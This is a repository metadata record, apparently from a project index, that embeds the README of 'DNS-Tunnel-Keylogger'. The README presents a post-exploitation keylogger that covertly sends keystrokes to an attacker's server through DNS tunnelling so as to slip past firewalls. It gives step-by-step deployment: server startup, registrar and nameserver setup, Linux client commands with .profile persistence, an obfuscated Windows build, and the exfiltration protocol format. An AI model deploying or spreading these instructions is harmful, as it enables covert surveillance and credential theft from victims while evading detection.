{"id":15116212,"url":"https://github.com/Geeoon/DNS-Tunnel-Keylogger","last_synced_at":"2025-09-27T21:32:39.761Z","repository":{"id":218059409,"uuid":"741578628","full_name":"Geeoon/DNS-Tunnel-Keylogger","owner":"Geeoon","description":"Keylogging server and client that uses DNS tunneling/exfiltration to transmit keystrokes through firewalls.","archived":false,"fork":false,"pushed_at":"2024-06-16T19:47:36.000Z","size":105,"stargazers_count":219,"open_issues_count":0,"forks_count":33,"subscribers_count":5,"default_branch":"main","last_synced_at":"2024-09-26T01:50:35.918Z","etag":null,"topics":["cybersecurity","dns","dns-exfiltration","dns-tunneling","keylogger","post-exploitation"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Geeoon.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-01-10T17:25:58.000Z","updated_at":"2024-09-20T00:05:08.000Z","dependencies_parsed_at":"2024-03-24T00:21:53.928Z","dependency_job_id":"5f642a1a-c6b5-42a1-9602-317cb14413e4","html_url":"https://github.com/Geeoon/DNS-Tunnel-Keylogger","commit_stats":null,"previous_names":["geeoon/dns-keylogger","geeoon/dns-tunnel-keylogger"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Geeoon%2FDNS-Tunnel-Keylogger","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Geeoon%2FDNS-Tunnel-Keylogger/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Geeoon%2FDNS-Tunnel-Keylogger/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Geeoon%2FDNS-Tunnel-Keylogger/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Geeoon","download_url":"https://codeload.github.com/Geeoon/DNS-Tunnel-Keylogger/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":234461919,"owners_count":18837194,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cybersecurity","dns","dns-exfiltration","dns-tunneling","keylogger","post-exploitation"],"created_at":"2024-09-26T01:44:13.719Z","updated_at":"2025-09-27T21:32:39.435Z","avatar_url":"https://github.com/Geeoon.png","language":"Python","funding_links":[],"categories":["Python"],"sub_categories":[],"readme":"# DNS Tunnel Keylogger\nThis post-exploitation keylogger will covertly exfiltrate keystrokes to a server. \n\nThese tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.\n# Server\n## Setup\nThe server uses python3.\n\nTo install dependencies, run `python3 -m pip install -r requirements.txt`\n## Starting the Server\nTo start the server, run `python3 main.py`\n```\nusage: dns exfiltration server [-h] [-p PORT] ip domain\n\npositional arguments:\n  ip\n  domain\n\noptions:\n  -h, --help            show this help message and exit\n  -p PORT, --port PORT  port to listen on\n```\nBy default, the server listens on UDP port 53. Use the `-p` flag to specify a different port.\n\n`ip` is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.\n\n`domain` is the domain to listen for, which should be the domain that the server is authoritative for.\n\n## Registrar\nOn the registrar, you want to change your domain's namespace to custom DNS.\n\nPoint them to two domains, `ns1.example.com` and `ns2.example.com`.\n\n![Custom DNS on Spaceship](./screenshots/CustomNS_Screenshot1.png)\n\nAdd records that point the namespace domains to your exfiltration server's IP address.\n\n![Personal Nameservers on Spaceship](./screenshots/CustomNS_Screenshot2.png)\n\nThis is the same as setting glue records.\n# Client\n## Linux\nThe Linux keylogger is two bash scripts. `connection.sh` is used by the `logger.sh` script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the `connection.sh` script. It will automatically establish a connection and send the data.\n### `logger.sh`\n```\nUsage: logger.sh [-options] domain\nPositional Arguments:\n  domain: the domain to send data to\nOptions:\n  -p path: give path to log file to listen to\n  -l: run the logger with warnings and errors printed\n```\nTo start the keylogger, run the command `./logger.sh [domain] \u0026\u0026 exit`. This will silently start the keylogger, and any inputs typed will be sent. The `\u0026\u0026 exit` at the end will cause the shell to close on `exit`. Without it, exiting will bring you back to the non-keylogged shell. Remove the `\u0026\u003e /dev/null` to display error messages.\n\nThe `-p` option will specify the location of the temporary log file where all the inputs are sent to. By default, this is `/tmp/`.\n\nThe `-l` option will show warnings and errors. Can be useful for debugging.\n\n`logger.sh` and `connection.sh` must be in the same directory for the keylogger to work. If you want persistance, you can add the command to `.profile` to start on every new interactive shell.\n### `connection.sh`\n```\nUsage: command [-options] domain\nPositional Arguments:\n  domain: the domain to send data to\nOptions:\n  -n: number of characters to store before sending a packet\n```\n## Windows\n### Build\nTo build the keylogging program, run `make` in the `windows` directory. To build with reduced size and some amount of obfuscation, make the `production` target. This will create the `build` directory for you and output to a file named `logger.exe` in the `build` directory. I've only tested building using MinGW on Windows 10. If you try using `g++` on a non-Windows machine, you'll likely get build errors related to `windows.h`.\n\n`make production domain=example.com`\n\nYou can also choose to build the program with debugging by making the `debug` target.\n\n`make debug domain=example.com`\n\nFor both targets, you will need to specify the domain the server is listening for.\n## Sending Test Requests\nYou can use `dig` to send requests to the server:\n\n`dig @127.0.0.1 a.1.1.1.example.com A +short` send a connection request to a server on localhost.\n\n`dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short` send a test message to localhost.\n\nReplace `example.com` with the domain the server is listening for.\n\n# Protocol\n## Starting a Connection\nA record requests starting with `a` indicate the start of a \"connection.\" When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.\n\nThe following is the format to follow for starting a connection: `a.1.1.1.[sld].[tld].`\n\nThe server will respond with an IP address in following format: `123.123.123.[id]`\n\nConcurrent connections cannot exceed 254, and clients are never considered \"disconnected.\"\n## Exfiltrating Data\nA record requests starting with `b` indicate exfiltrated data being sent to the server.\n\nThe following is the format to follow for sending data after establishing a connection: `b.[packet #].[id].[data].[sld].[tld].`\n\nThe server will respond with `[code].123.123.123`\n\n`id` is the id that was established on connection. Data is sent as ASCII encoded in hex.\n\n`code` is one of the codes described below.\n## Response Codes\n### `200`: OK\nIf the client sends a request that is processed normally, the server will respond with code `200`.\n### `201`: Malformed Record Requests\nIf the client sends an malformed record request, the server will respond with code `201`.\n### `202`: Non-Existant Connections\nIf the client sends a data packet with an id greater than the # of connections, the server will respond with code `202`.\n### `203`: Out of Order Packets\nIf the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code `203`. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.\n### `204` Reached Max Connection\nIf the client attempts to create a connection when the max has reached, the server will respond with code `204`.\n## Dropped Packets\nClients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.\n\n# Side Notes\n## Linux\n### Log File\nThe log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like `cat`, you should select the appropriate option to print ASCII control characters, such as `-v` for `cat`, or open it in a text-editor.\n### Non-Interactive Shells\nThe keylogger relies on `script`, so the keylogger won't run in non-interactive shells.\n## Windows\n### Repeated Requests\nFor some reason, the Windows `Dns_Query_A` always sends duplicate requests. The server will process it fine because it discards repeated packets.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FGeeoon%2FDNS-Tunnel-Keylogger","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FGeeoon%2FDNS-Tunnel-Keylogger","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FGeeoon%2FDNS-Tunnel-Keylogger/lists"}